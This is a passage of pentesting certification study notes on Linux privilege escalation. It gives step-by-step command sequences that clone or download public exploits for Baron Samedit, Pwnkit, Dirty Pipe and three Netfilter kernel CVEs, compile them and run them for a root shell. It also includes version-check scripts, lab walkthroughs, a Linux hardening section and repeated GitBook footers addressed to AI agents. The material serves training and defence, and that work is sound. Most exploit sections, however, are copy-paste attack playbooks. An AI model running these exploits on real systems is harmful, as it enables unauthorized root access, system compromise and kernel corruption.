git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156 && make
./sudo-hax-me-a-sandwich 1  # Ubuntu 20.04

Alternative Exploits

# Other CVE-2021-3156 exploits
# https://github.com/worawit/CVE-2021-3156
# https://github.com/stong/CVE-2021-3156

# Automated exploitation tools
# https://github.com/lockedbyte/CVE-Exploits

⚠️ Exploit Considerations

CVE-2021-3156 Notes

  • Compilation required on target or similar system
  • OS-specific targets - must match exact version
  • Heap manipulation - may cause crashes if wrong target
  • Success varies based on system configuration

CVE-2019-14287 Notes

  • Simple exploitation - one command
  • Requires sudo access to any command
  • Limited impact - only vulnerable versions
  • Well-patched in modern systems

Sudo CVE exploits provide direct privilege escalation for specific vulnerable versions - Baron Samedit and Policy Bypass represent critical sudo vulnerabilities requiring immediate patching.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/sudo-cve-exploits.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Polkit/Pwnkit

🎯 Overview

Polkit (PolicyKit) authorization service vulnerability CVE-2021-4034 “Pwnkit” allows local privilege escalation through pkexec memory corruption, affecting most Linux distributions.

🚨 CVE-2021-4034 (Pwnkit)

Vulnerability Details

  • Impact: Memory corruption in pkexec → immediate root shell
  • Affected: Most Linux distributions with polkit
  • Hidden: Over 10 years undetected (published Nov 2021)
  • Requirement: None - any local user can exploit

Version Check

# Check pkexec availability
which pkexec
pkexec --version

# Check polkit version
apt list --installed | grep polkit
rpm -qa | grep polkit

🚀 Exploitation

Download and Compile Pwnkit

# Download exploit
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034

# Compile exploit
gcc cve-2021-4034-poc.c -o poc

# Execute for immediate root
./poc
# Result: root shell

Alternative Exploits

# Other Pwnkit implementations
git clone https://github.com/berdav/CVE-2021-4034.git
git clone https://github.com/joeammond/CVE-2021-4034-PoC.git
git clone https://github.com/Almorabea/Polkit-exploit.git

🔧 Manual Exploitation

Understanding the Vulnerability

# Normal pkexec usage
pkexec -u root id
# uid=0(root) gid=0(root) groups=0(root)

# Vulnerability in argument processing
# Memory corruption when pkexec processes argv[0]

DIY Exploit (Advanced)

# Basic exploitation concept
# 1. Exploit argv[0] handling in pkexec
# 2. Trigger memory corruption
# 3. Control execution flow
# 4. Execute arbitrary code as root

🔍 Detection & Enumeration

Polkit Vulnerability Check

#!/bin/bash
echo "=== POLKIT/PWNKIT VULNERABILITY CHECK ==="

echo "[+] pkexec availability:"
which pkexec 2>/dev/null && echo "pkexec found - potential CVE-2021-4034"

echo "[+] Polkit version:"
apt list --installed 2>/dev/null | grep polkit
rpm -qa 2>/dev/null | grep polkit

echo "[+] pkexec version:"
pkexec --version 2>/dev/null

echo "[+] Quick vulnerability test:"
if which pkexec >/dev/null 2>&1; then
    echo "[!] LIKELY VULNERABLE - pkexec present"
    echo "Download: https://github.com/arthepsy/CVE-2021-4034.git"
fi

System Information

# Check Linux distribution
cat /etc/os-release
cat /etc/lsb-release

# Check polkit service
systemctl status polkit
ps aux | grep polkit

🔑 Quick Reference

Immediate Checks

# Check for pkexec
which pkexec

# Test basic functionality
pkexec -u root id  # If works, likely vulnerable to CVE-2021-4034

Emergency Exploitation

# Quick Pwnkit exploitation
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
./poc  # Immediate root shell

HTB Academy Example

# 1. Connect to target
ssh htb-student@target

# 2. Check for pkexec
which pkexec

# 3. Download and compile Pwnkit
git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc

# 4. Execute for root
./poc
# Get root shell

# 5. Read flag
cat /root/flag.txt

⚠️ Exploit Characteristics

Pwnkit Advantages

  • Universal impact - Works on most Linux distributions
  • No prerequisites - Any local user can exploit
  • Reliable exploitation - High success rate
  • Silent execution - Minimal system logs

Limitations

  • Compilation required - Need gcc on target or transfer binary
  • Patched systems - Fixed in updated polkit versions
  • Detection possible - Modern EDR may detect exploitation

🛡️ Defensive Measures

Patch Status Check

# Check if polkit is updated
apt list --upgradable | grep polkit
dnf check-update polkit

# Verify patch level
pkexec --version | grep -E "(0\.105|0\.117|0\.118|0\.119|0\.120)"  # Vulnerable

Mitigation Options

# Remove pkexec if not needed
sudo chmod 0755 /usr/bin/pkexec  # Remove SUID

# Monitor pkexec usage
auditctl -w /usr/bin/pkexec -p x -k pwnkit_usage

Pwnkit (CVE-2021-4034) represents one of the most significant Linux privilege escalation vulnerabilities - any local user can exploit polkit’s pkexec for immediate root access on unpatched systems.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/polkit-pwnkit.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Dirty Pipe

🎯 Overview

Dirty Pipe kernel vulnerability allows unauthorized writing to root-owned files through pipe mechanism exploitation, similar to Dirty Cow but affecting newer kernels (5.8-5.17).

🚨 CVE-2022-0847 Details

Vulnerability Info

  • Impact: Write to arbitrary files as root with only read access
  • Affected Kernels: 5.8 to 5.17 (including Android)
  • Mechanism: Pipe-based unidirectional communication exploitation
  • Similar to: Dirty Cow (CVE-2016-5195) but different attack vector

Kernel Version Check

# Check vulnerable kernel version
uname -r
# Vulnerable: 5.8.x - 5.17.x

# Examples of vulnerable versions:
# 5.13.0-46-generic
# 5.15.0-25-generic
# 5.16.x-x-generic

🚀 Exploitation

Download and Compile Exploits

# Download Dirty Pipe exploits
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits

# Compile both exploits
bash compile.sh
# Creates: exploit-1, exploit-2

Method 1: /etc/passwd Modification

# Exploit-1 modifies /etc/passwd to remove root password
./exploit-1

# Output:
# Backing up /etc/passwd to /tmp/passwd.bak ...
# Setting root password to "piped"...
# Password: [enter "piped"]
# Restoring /etc/passwd from /tmp/passwd.bak...
# Done! Popping shell...

# Root shell obtained
id
# uid=0(root) gid=0(root) groups=0(root)

Method 2: SUID Binary Hijacking

# Find SUID binaries
find / -perm -4000 2>/dev/null | head -10

# Execute exploit-2 with SUID binary path
./exploit-2 /usr/bin/sudo

# Output:
# [+] hijacking suid binary..
# [+] dropping suid shell..
# [+] restoring suid binary..
# [+] popping root shell.. (dont forget to clean up /tmp/sh ;))

# Root shell obtained
id
# uid=0(root) gid=0(root) groups=0(root)

🔧 Alternative Exploits

Other Dirty Pipe PoCs

# Additional implementations
git clone https://github.com/febinrev/CVE-2022-0847-DirtyPipe-Exploit.git
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git

# Compile and execute
gcc -o dirtypipe exploit.c
./dirtypipe

Manual File Modification

# Basic concept - write to read-only files
# Requires understanding of pipe mechanics
# Advanced exploitation technique

🔍 Detection & Enumeration

Dirty Pipe Vulnerability Check

#!/bin/bash
echo "=== DIRTY PIPE VULNERABILITY CHECK ==="

kernel_version=$(uname -r | cut -d'-' -f1)
echo "Kernel version: $kernel_version"

# Check if kernel version is in vulnerable range
if echo "$kernel_version" | grep -qE "^5\.(8|9|10|11|12|13|14|15|16|17)\."; then
    echo "[!] VULNERABLE to CVE-2022-0847 (Dirty Pipe)"
    echo "Affected range: 5.8.x - 5.17.x"
    echo "Download: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git"
else
    echo "[-] Not vulnerable to Dirty Pipe"
fi

echo "[+] Checking for gcc compiler:"
which gcc 2>/dev/null && echo "Compiler available for exploit compilation"

Quick Kernel Check

# One-liner vulnerability check
uname -r | grep -qE "^5\.(8|9|10|11|12|13|14|15|16|17)\." && echo "VULNERABLE to Dirty Pipe" || echo "Not vulnerable"

🔑 Quick Reference

Immediate Checks

# Kernel version vulnerability
uname -r | grep -E "^5\.(8|9|10|11|12|13|14|15|16|17)\."

# Compiler availability
which gcc g++

Emergency Exploitation

# Quick Dirty Pipe exploitation
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh

# Method 1: passwd modification
./exploit-1
# Password: piped

# Method 2: SUID hijacking  
./exploit-2 /usr/bin/sudo

HTB Academy Example

# 1. Connect to target
ssh htb-student@target

# 2. Check kernel version
uname -r
# Verify: 5.8.x - 5.17.x

# 3. Download and compile
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh

# 4. Execute exploit
./exploit-1  # or ./exploit-2 /usr/bin/sudo

# 5. Get root shell and read flag
cat /root/flag.txt

⚠️ Exploit Considerations

Dirty Pipe Characteristics

  • Kernel-level vulnerability - Direct kernel exploitation
  • High reliability - Works on most affected systems
  • File corruption risk - Can damage system files
  • Cleanup required - exploit-2 creates /tmp/sh

Limitations

  • Specific kernel range - Only 5.8-5.17
  • Compilation needed - Requires gcc on target
  • Modern systems patched - Fixed in newer kernels
  • Detection possible - Kernel module monitoring

Dirty Pipe (CVE-2022-0847) exploits kernel pipe mechanisms for arbitrary file writes - any user can modify root-owned files, leading to immediate privilege escalation on vulnerable kernel versions.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/dirty-pipe.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Netfilter Kernel Exploits

🎯 Overview

Netfilter Linux kernel module vulnerabilities provide privilege escalation through kernel-level exploitation targeting specific vulnerable kernel versions (2.6-6.3.1).

🚨 Major Netfilter CVEs

CVE-2021-22555 (Heap Out-of-Bounds)

  • Affected: Linux kernels 2.6 - 5.11
  • Impact: Local privilege escalation via heap corruption
  • Exploit: Memory corruption in netfilter subsystem

CVE-2022-25636 (Heap Out-of-Bounds Write)

  • Affected: Linux kernels 5.4 - 5.6.10
  • Impact: Root privileges via heap out-of-bounds write
  • Risk: Can corrupt kernel, reboot required

CVE-2023-32233 (Use-After-Free)

  • Affected: Linux kernels up to 6.3.1
  • Impact: Anonymous sets Use-After-Free in nf_tables
  • Method: Manipulating cleared anonymous sets

🔍 Kernel Version Detection

Check Vulnerable Versions

# Check current kernel
uname -r

# CVE-2021-22555 check (2.6 - 5.11)
uname -r | grep -qE "^(2\.|3\.|4\.|5\.[0-9]|5\.1[01])\." && echo "CVE-2021-22555 VULNERABLE"

# CVE-2022-25636 check (5.4 - 5.6.10)  
uname -r | grep -qE "^5\.[456]\." && echo "CVE-2022-25636 VULNERABLE"

# CVE-2023-32233 check (up to 6.3.1)
uname -r | grep -qE "^[1-5]\.|^6\.[0-3]\." && echo "CVE-2023-32233 VULNERABLE"

🚀 Exploitation Methods

CVE-2021-22555 Exploitation

# Download exploit
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c

# Compile (32-bit static)
gcc -m32 -static exploit.c -o exploit

# Execute for root shell
./exploit
# Result: uid=0(root) gid=0(root) groups=0(root)

CVE-2022-25636 Exploitation

# Download exploit
git clone https://github.com/Bonfee/CVE-2022-25636.git
cd CVE-2022-25636

# Compile and execute
make
./exploit

# ⚠️ WARNING: Can corrupt kernel!

CVE-2023-32233 Exploitation

# Download exploit
git clone https://github.com/Liuk3r/CVE-2023-32233.git
cd CVE-2023-32233

# Compile with required libraries
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

# Execute for root shell
./exploit
# Result: uid=0(root) gid=0(root) groups=0(root)

🔍 Detection & Enumeration

Netfilter Vulnerability Check

#!/bin/bash
echo "=== NETFILTER KERNEL EXPLOITS CHECK ==="

kernel=$(uname -r)
echo "Kernel version: $kernel"

# CVE-2021-22555 (2.6 - 5.11)
if echo "$kernel" | grep -qE "^(2\.|3\.|4\.|5\.[0-9]|5\.1[01])\."; then
    echo "[!] CVE-2021-22555 VULNERABLE"
    echo "    Download: https://github.com/google/security-research"
fi

# CVE-2022-25636 (5.4 - 5.6.10)  
if echo "$kernel" | grep -qE "^5\.[456]\."; then
    echo "[!] CVE-2022-25636 VULNERABLE (CAUTION: Can corrupt kernel)"
    echo "    Download: https://github.com/Bonfee/CVE-2022-25636"
fi

# CVE-2023-32233 (up to 6.3.1)
if echo "$kernel" | grep -qE "^[1-5]\.|^6\.[0-3]\."; then
    echo "[!] CVE-2023-32233 VULNERABLE"
    echo "    Download: https://github.com/Liuk3r/CVE-2023-32233"
fi

echo "[+] Checking dependencies:"
which gcc 2>/dev/null && echo "GCC available"
dpkg -l | grep -E "(libmnl|libnftnl)" | head -2

Netfilter Service Check

# Check if netfilter/iptables active
iptables -L 2>/dev/null | head -5
systemctl status netfilter-persistent 2>/dev/null
lsmod | grep netfilter

🔑 Quick Reference

Immediate Checks

# Kernel vulnerability quick check
uname -r | grep -qE "^(2\.|3\.|4\.|5\.[0-9]|5\.1[01])\." && echo "CVE-2021-22555"
uname -r | grep -qE "^5\.[456]\." && echo "CVE-2022-25636"  
uname -r | grep -qE "^[1-5]\.|^6\.[0-3]\." && echo "CVE-2023-32233"

# Compilation capability
which gcc

Emergency Exploitation

# CVE-2021-22555 (safest, wide range)
wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
gcc -m32 -static exploit.c -o exploit
./exploit

# CVE-2023-32233 (newer kernels)
git clone https://github.com/Liuk3r/CVE-2023-32233.git
cd CVE-2023-32233
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
./exploit

⚠️ Critical Warnings

Kernel Exploit Risks

  • System instability - Can crash the system
  • Kernel corruption - May require reboot
  • Production danger - Never run on production systems
  • Testing recommended - Test in controlled environments

Exploitation Considerations

  • CVE-2022-25636 - Highest risk of kernel corruption
  • CVE-2021-22555 - Most stable, widest kernel range
  • CVE-2023-32233 - Newest, targets recent kernels
  • Dependencies - Some require specific libraries (libmnl, libnftnl)

🛡️ Defensive Measures

Kernel Updates

# Check available kernel updates
apt list --upgradable | grep linux-image
dnf check-update kernel

# Update kernel (requires reboot)
sudo apt update && sudo apt upgrade linux-image-generic

Netfilter Hardening

# Disable unnecessary netfilter modules
# Monitor kernel exploit attempts
# Implement kernel address space layout randomization (KASLR)
# Use grsecurity/PaX if available

Netfilter kernel exploits target the network filtering subsystem - these kernel-level vulnerabilities provide direct root access but carry significant system stability risks and should be used with extreme caution.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/netfilter-kernel-exploits.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Linux Hardening

🎯 Overview

Comprehensive Linux hardening eliminates most privilege escalation opportunities through systematic security configuration, regular updates, and proper access controls.

🔄 Updates and Patching

Critical Update Practices

# Ubuntu/Debian automatic updates
sudo apt install unattended-upgrades
sudo dpkg-reconfigure unattended-upgrades

# RHEL/CentOS automatic updates
sudo yum install yum-cron
sudo systemctl enable yum-cron

# Check for available updates
apt list --upgradable
dnf check-update

Kernel Security Updates

# Prioritize kernel updates (eliminates kernel exploits)
apt list --upgradable | grep linux-image
sudo apt update && sudo apt upgrade linux-image-generic

# Check current vs available kernel
uname -r
apt list --installed | grep linux-image

🔧 Configuration Management

File System Hardening

# Audit SUID/SGID binaries
find / -type f -perm -4000 -exec ls -la {} \; 2>/dev/null > suid_audit.txt
find / -type f -perm -2000 -exec ls -la {} \; 2>/dev/null > sgid_audit.txt

# Remove unnecessary SUID bits
sudo chmod u-s /path/to/unnecessary/suid/binary

# Find world-writable files
find / -type f -perm -002 2>/dev/null

# Find world-writable directories
find / -type d -perm -002 2>/dev/null

Service Configuration

# Use absolute paths in scripts and cron jobs
# BAD:  tar czf backup.tar.gz *
# GOOD: /bin/tar czf backup.tar.gz *

# Secure cron permissions
chmod 600 /etc/crontab
chown root:root /etc/cron.d/*

# Remove unnecessary services
systemctl list-units --state=enabled
sudo systemctl disable unnecessary_service

Credential Security

# Remove cleartext credentials
grep -r "password\|secret" /etc/ /opt/ /var/ 2>/dev/null

# Secure bash history
export HISTCONTROL=ignoreboth
export HISTSIZE=0

# Clean sensitive files
shred -vfz -n 3 sensitive_file

👥 User Management

Account Hardening

# Limit user accounts
grep "/bin/bash\|/bin/sh" /etc/passwd

# Strong password policy
sudo apt install libpam-pwquality
# Edit /etc/security/pwquality.conf

# Password aging
sudo chage -M 90 username  # 90-day expiration
sudo chage -l username     # Check settings

# Lock unused accounts
sudo usermod -L unused_user
sudo usermod -s /sbin/nologin service_account

Group Management

# Audit dangerous groups
getent group lxd docker disk adm shadow

# Remove users from dangerous groups
sudo deluser username docker
sudo deluser username lxd

# Review sudo permissions
sudo visudo
# Remove wildcards, use absolute paths

🔍 Security Controls

Enable Security Features

# SELinux (RHEL/CentOS)
sudo setenforce 1
getenforce

# AppArmor (Ubuntu/Debian)
sudo systemctl enable apparmor
sudo aa-status

# Firewall
sudo ufw enable
sudo ufw default deny incoming

Logging and Monitoring

# Enable audit logging
sudo systemctl enable auditd
sudo auditctl -w /etc/passwd -p wa -k passwd_changes
sudo auditctl -w /bin/su -p x -k privilege_escalation

# Monitor SUID executions
sudo auditctl -a always,exit -F arch=b64 -S execve -C uid!=euid -k suid_exec

# Log sudo usage
sudo visudo
# Add: Defaults logfile="/var/log/sudo.log"

🔬 Security Auditing

Lynis Security Scanner

# Download and run Lynis
git clone https://github.com/CISOfy/lynis.git
cd lynis

# Run security audit
sudo ./lynis audit system

# Review results
# Hardening index: 60-100 [############        ]
# Tests performed: 256
# Warnings and suggestions provided

Custom Hardening Check

#!/bin/bash
echo "=== LINUX HARDENING AUDIT ==="

echo "[+] Kernel version and updates:"
uname -r
apt list --upgradable 2>/dev/null | grep linux-image | head -3

echo "[+] SUID binaries count:"
find / -type f -perm -4000 2>/dev/null | wc -l

echo "[+] World-writable files:"
find / -type f -perm -002 2>/dev/null | head -5

echo "[+] Dangerous group memberships:"
for group in lxd docker disk adm; do
    members=$(getent group $group 2>/dev/null | cut -d: -f4)
    if [ ! -z "$members" ]; then
        echo "  $group: $members"
    fi
done

echo "[+] Services running as root:"
ps aux | grep "^root" | grep -v "^\[" | wc -l

echo "[+] Password policy:"
grep -E "PASS_MAX_DAYS|PASS_MIN_DAYS" /etc/login.defs 2>/dev/null

echo "[+] Sudo configuration issues:"
sudo -l 2>/dev/null | grep -E "NOPASSWD|\*|ALL"

🔑 Hardening Checklist

Critical Actions

  • Update kernel - Eliminate kernel exploits
  • Remove unnecessary SUID - Audit and remove dangerous SUID bits
  • Fix sudo configurations - Use absolute paths, remove wildcards
  • Clean dangerous groups - Remove users from lxd, docker, disk
  • Secure cron jobs - Absolute paths, proper permissions
  • Clear credentials - Remove plaintext passwords from files
  • Enable logging - Audit privilege escalation attempts

Advanced Hardening

  • SELinux/AppArmor - Mandatory access controls
  • Regular audits - Lynis, custom scripts, compliance checks
  • Service minimization - Remove unnecessary packages/services
  • Network segmentation - Limit lateral movement
  • Monitoring - Real-time privilege escalation detection

📊 Compliance Frameworks

Standards to Consider

  • DISA STIGs - Security Technical Implementation Guides
  • CIS Benchmarks - Center for Internet Security
  • ISO 27001 - Information security management
  • PCI-DSS - Payment card industry standards
  • HIPAA - Healthcare information protection

🔧 Automation Tools

Configuration Management

# Puppet - Configuration automation
# SaltStack - Infrastructure management  
# Ansible - IT automation
# Chef - Infrastructure as code

Monitoring Integration

# Zabbix - Network and server monitoring
# Nagios - IT infrastructure monitoring
# Slack/Email - Alert integration
# SIEM - Security event correlation

Proper Linux hardening eliminates the vast majority of privilege escalation vectors - systematic application of security controls, regular updates, and continuous monitoring create robust defenses against privilege escalation attacks.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/linux-hardening.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.